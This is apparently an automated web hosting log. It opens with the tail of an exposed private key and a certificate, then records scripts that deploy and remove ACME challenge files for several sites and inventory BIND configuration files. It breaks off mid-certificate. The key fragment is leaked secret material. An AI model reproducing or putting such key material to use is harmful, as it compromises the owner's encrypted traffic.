AZGF4NTgmv5Rs/Y4gHNiCMvIgZiDuaucn5/7C6UIglY4ZHhv5rtY+pGnghLHXGbo
Ano4FGWSCCYB9bSZfMO55cXEM/8nXq0Psj4iqgQGT/MSaQOEFJFbyZu+xCRvrKm9
0NbLwV0EAQKBgFZAwPTud6GaJ0bWSYRPHg6e59tqm7V2YF/o6cInwIqD/MfxxKqX
QLp52HjLhRSDtvohU6ORsxzh9Qckeh2P9zhL6GL8Ij6y9HTpvs0z9L3yXAssDPGx
7/J9mX7G9bFMv9LV73jguKbHf9GbyerwpUdDIOSFszNoxxkEfGDYD7SFAoGAGCJl
RNLe/2fPe0lrqNGKrIdVLTF6V3KFJxkJyn/uOvEp3k0CnbKZ7QjUWvshy0AS4ezR
J84YAnYSW19QbE4/3E0VfLddjerGGA2IU+cx4EosFv9+/hzz6XGXmQBGDEVRhbW/
bkFB9VLYqbKpgWnh6lIo7QqK26R0dtwq/PPqyAECgYB1OVqOwttvjGFPdyozz0Yr
a7a18LVeRAqHgHatvD17266NK/OM9haGVgHhUEZZwBQ8shhue9MKh4HsafRshNmS
nwR56KqHvuvC5/2HzTxqLvqdlbcGdF2Za1uYxWH3lI1o/C2trCIM+E1Pub/AJRCa
I/imWmG/liI6lszAEAnnUA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-27 06:00:32: Establishing a connection
2025-12-27 06:00:32: Establishing a connection
2025-12-27 06:00:32:
PUT: /tmp/pkp404405
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-27 06:00:33:
chmod 755 /tmp/pkp404405; /tmp/pkp404405; rm /tmp/pkp404405
2025-12-27 06:00:33:
1
2025-12-27 06:00:33: Establishing a connection
2025-12-27 06:00:33:
PUT: /tmp/pkp426626
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > Z8fMRfY67r7Oo8RKnWd1N0cTjPF00YOnhfo0nt0ZCio <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Z8fMRfY67r7Oo8RKnWd1N0cTjPF00YOnhfo0nt0ZCio.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Z8fMRfY67r7Oo8RKnWd1N0cTjPF00YOnhfo0nt0ZCio
2025-12-27 06:00:33:
chmod 755 /tmp/pkp426626; /tmp/pkp426626; rm /tmp/pkp426626
2025-12-27 06:00:33:
2025-12-27 06:00:35: Establishing a connection
2025-12-27 06:00:36: Establishing a connection
2025-12-27 06:00:37:
PUT: /tmp/pkp214463
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-27 06:00:38:
chmod 755 /tmp/pkp214463; /tmp/pkp214463; rm /tmp/pkp214463
2025-12-27 06:00:38:
0
2025-12-27 13:55:27: Establishing a connection
2025-12-27 13:55:38: Establishing a connection
2025-12-27 13:55:39:
PUT: /tmp/pkp955182
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-27 13:55:39:
runuser -l bind -s /bin/bash -c '/tmp/pkp955182; rm /tmp/pkp955182'
2025-12-27 13:55:39:
2025-12-27 13:55:39:
PUT: /tmp/pkp202510
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/bind/db.0')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-27 13:55:39:
chmod 755 /tmp/pkp202510; /tmp/pkp202510; rm /tmp/pkp202510
2025-12-27 13:55:39:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/db.0 255
;
; BIND reverse data file for "this host on this network" zone
;
$TTL 604800
@ IN SOA localhost. root.localhost. (
1 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS localhost.
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-27 13:55:45: Establishing a connection
2025-12-27 13:55:45: Establishing a connection
2025-12-27 13:55:45:
PUT: /tmp/pkp949115
#!/bin/bash
if [ -d "/var/www/exjw_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-27 13:55:46:
chmod 755 /tmp/pkp949115; /tmp/pkp949115; rm /tmp/pkp949115
2025-12-27 13:55:46:
1
2025-12-27 13:55:47: Establishing a connection
2025-12-27 13:55:47:
PUT: /tmp/pkp432634
#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
cat > 0L7cRg_VsSvAMdKYTYHb1I56dSkS2kO2XKuzoewY0H0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0L7cRg_VsSvAMdKYTYHb1I56dSkS2kO2XKuzoewY0H0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0L7cRg_VsSvAMdKYTYHb1I56dSkS2kO2XKuzoewY0H0
2025-12-27 13:55:47:
chmod 755 /tmp/pkp432634; /tmp/pkp432634; rm /tmp/pkp432634
2025-12-27 13:55:47:
2025-12-27 13:55:54: Establishing a connection
2025-12-27 13:55:54:
PUT: /tmp/pkp149665
#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
rm 0L7cRg_VsSvAMdKYTYHb1I56dSkS2kO2XKuzoewY0H0
2025-12-27 13:55:54:
chmod 755 /tmp/pkp149665; /tmp/pkp149665; rm /tmp/pkp149665
2025-12-27 13:55:54:
2025-12-27 13:55:54: Establishing a connection
2025-12-27 13:55:54:
PUT: /tmp/pkp528841
#!/bin/bash
temp_file=$(mktemp)
TARGET=7661c45fa1dc2bd7dace8763d6046428.crt
cat > $temp_file <<'endmsg'
8e:a4:5b:c1:5e:a5:0b:75:f6:c8:8e:77:fb:f1:ca:7e
-----BEGIN CERTIFICATE-----
